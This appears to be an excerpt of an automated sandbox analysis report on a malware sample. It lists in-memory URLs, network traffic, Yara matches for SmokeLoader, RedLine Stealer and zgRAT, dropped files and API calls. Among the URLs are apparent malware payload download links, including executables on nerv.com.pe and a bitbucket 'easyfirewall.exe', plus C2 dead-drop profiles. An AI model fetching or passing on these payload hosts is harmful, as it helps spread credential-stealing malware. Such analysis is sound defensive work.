Source: wg6F73wLMGz6xXFA14w_olCU.exe, 0000000D.00000002.2359247420.0000000003345000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000142A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000142A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/?format=json
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000142A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/?format=json=
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org:443/?format=json
Source: RegAsm.exe, 00000003.00000002.1830248913.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1832712263.0000000003F50000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/bbfbfb0f-4597-4ff3-b025-124f61baf271/downloads/7f30c6a5-e68f-
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000150F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000150F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/U3
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1832712263.0000000003F12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.000000000150F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/kcatelin/jameson/downloads/easyfirewall.exe
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000150F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/kcatelin/jameson/downloads/easyfirewall.exeC:
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/kcatelin/jameson/downloads/easyfirewall.exed06
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/kcatelin/jameson/downloads/easyfirewall.exee#1
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/kcatelin/jameson/downloads/easyfirewall.exee9
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/kcatelin/jameson/downloads/easyfirewall.exexe
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org:80/kcatelin/jameson/downloads/easyfirewall.exe
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://enterpriseregistration.windows.net/
Source: kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000002.2952837551.0000000001409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: RegAsm.exe	String found in binary or memory: https://ipgeolocation.io/
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/O
Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe, 00000000.00000002.1509897036.0000000004AB1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe, 00000000.00000002.1509897036.0000000004B1F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/https://ipgeolocation.io/::
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/sD
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.33FE2
Source: RegAsm.exe, 00000003.00000002.1830248913.0000000001458000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.000000000150F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1nhuM4.js
Source: RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org:443/1nhuM4.js
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://login.microsoftonline.com/common
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://login.microsoftonline.com=https://login.chinacloudapi.cnAhttps://login.microsoftonline.deAht
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000150F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nerv.com.pe/
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E9E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.000000000150F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nerv.com.pe/sdhsfd.exe
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000150F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nerv.com.pe/sdhsfd.exeC:
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E9E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.000000000150F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1832712263.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nerv.com.pe/vfsdgdf.exe
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000150F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nerv.com.pe/vfsdgdf.exeC:
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1830248913.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nerv.com.pe/vsfdhgg15.exe
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nerv.com.pe/vsfdhgg15.exeC:
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nerv.com.pe/vsfdhgg15.exeU
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nerv.com.pe/vsfdhgg15.exea
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nerv.com.pe/vsfdhgg15.exen
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nerv.com.pe:80/sdhsfd.exe
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003E60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nerv.com.pe:80/vfsdgdf.exe
Source: RegAsm.exe, 00000003.00000002.1832712263.0000000003EC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nerv.com.pe:80/vsfdhgg15.exe
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.
Source: RegAsm.exe, 00000003.00000002.1830248913.000000000148D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://sso2urn:ietf:wg:oauth:2.0:oob
Source: Yt_9y5LuIpBZXKd9EiYluKkG.exe, 00000006.00000002.2087266509.00000000034F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: Yt_9y5LuIpBZXKd9EiYluKkG.exe, 00000006.00000002.2087266509.00000000034F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0
Source: Yt_9y5LuIpBZXKd9EiYluKkG.exe, 00000006.00000002.2087266509.00000000034F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5ed
Source: kFXFCWzZNovbPAcE4V3M4DAO.exe, kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000000.1791830844.0000000000887000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://update-ledger.net/update
Source: kJHbagG0C4H5BEyYJQeInLfF.exe, 0000000C.00000002.2392516588.00000000026D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: XO9lsdL5g6aUibu31TDcoBrI.exe, 0000000F.00000000.1788981132.0000000000E22000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.nuget.org/packages/Microsoft.Identity.Json.Bson

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 104.237.62.213:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.61.218:443 -> 192.168.2.9:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.61.218:443 -> 192.168.2.9:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.217.131.81:443 -> 192.168.2.9:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.2.46:443 -> 192.168.2.9:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.61.218:443 -> 192.168.2.9:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.9:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.165.127:443 -> 192.168.2.9:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.165.127:443 -> 192.168.2.9:49798 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 0000002B.00000002.2943867641.0000000002A61000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2601636491.0000000002600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2601573090.0000000002561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 33.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0000002B.00000002.2943867641.0000000002A61000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000009.00000002.2601636491.0000000002600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000009.00000002.2601921421.000000000283E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000009.00000002.2601604235.00000000025F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000009.00000002.2601573090.0000000002561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown

Drops large PE files

Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	File dump: service123.exe.8.dr 314613760			Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	File dump: ClientSecureUpdater.exe.12.dr 976632104			Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042CD50 __aulldiv,VirtualAlloc,__aulldiv,__aulldiv,NtQuerySystemInformation,__aulldiv,WideCharToMultiByte,CharToOemA,VirtualFree,__aulldiv,	3_2_0042CD50
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_00401514 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_00401514
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_00402F97 VirtualProtect,RtlCreateUserThread,NtTerminateProcess,	9_2_00402F97
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_00401542 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_00401542
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_00403247 NtTerminateProcess,RtlInitUnicodeString,	9_2_00403247
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_00401549 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_00401549
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_0040324F NtTerminateProcess,RtlInitUnicodeString,	9_2_0040324F
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_00403256 NtTerminateProcess,RtlInitUnicodeString,	9_2_00403256
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_00401557 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_00401557
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_0040326C NtTerminateProcess,RtlInitUnicodeString,	9_2_0040326C
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_00403277 NtTerminateProcess,	9_2_00403277
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_004014FE NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_004014FE
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Code function: 9_2_00403290 NtTerminateProcess,RtlInitUnicodeString,	9_2_00403290
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041B16F NtQueryDefaultLocale,ExitProcess,	12_2_0041B16F
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004199E9 NtQueryDefaultLocale,	12_2_004199E9
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041B347 NtQueryDefaultLocale,ExitProcess,	12_2_0041B347
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00419354 NtQueryDefaultLocale,	12_2_00419354
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00419389 NtQueryDefaultLocale,	12_2_00419389
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041B41F NtQueryDefaultLocale,ExitProcess,	12_2_0041B41F
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041A66B NtQueryDefaultLocale,ExitProcess,	12_2_0041A66B
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041A60F NtQueryDefaultLocale,ExitProcess,	12_2_0041A60F
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00419739 NtQueryDefaultLocale,	12_2_00419739
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041A854 NtQueryDefaultLocale,ExitProcess,	12_2_0041A854
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041A897 NtQueryDefaultLocale,ExitProcess,	12_2_0041A897
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041A93C NtQueryDefaultLocale,ExitProcess,	12_2_0041A93C
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00419ABE NtQueryDefaultLocale,	12_2_00419ABE
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00418CB1 NtQueryDefaultLocale,	12_2_00418CB1
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00419DF2 NtQueryDefaultLocale,	12_2_00419DF2
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041AD8D NtQueryDefaultLocale,ExitProcess,	12_2_0041AD8D

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Code function: 0_2_02F55DF1	0_2_02F55DF1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Code function: 0_2_01400848	0_2_01400848
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Code function: 0_2_014030C0	0_2_014030C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Code function: 0_2_01402240	0_2_01402240
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Code function: 0_2_01406630	0_2_01406630
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Code function: 0_2_01405EFA	0_2_01405EFA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Code function: 0_2_01400839	0_2_01400839
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Code function: 0_2_0140C56C	0_2_0140C56C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Code function: 0_2_01408F4F	0_2_01408F4F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Code function: 0_2_01408F60	0_2_01408F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00427210	3_2_00427210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00481580	3_2_00481580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042C670	3_2_0042C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004366C0	3_2_004366C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0046D6E0	3_2_0046D6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00430740	3_2_00430740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00451720	3_2_00451720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004317E0	3_2_004317E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00442970	3_2_00442970
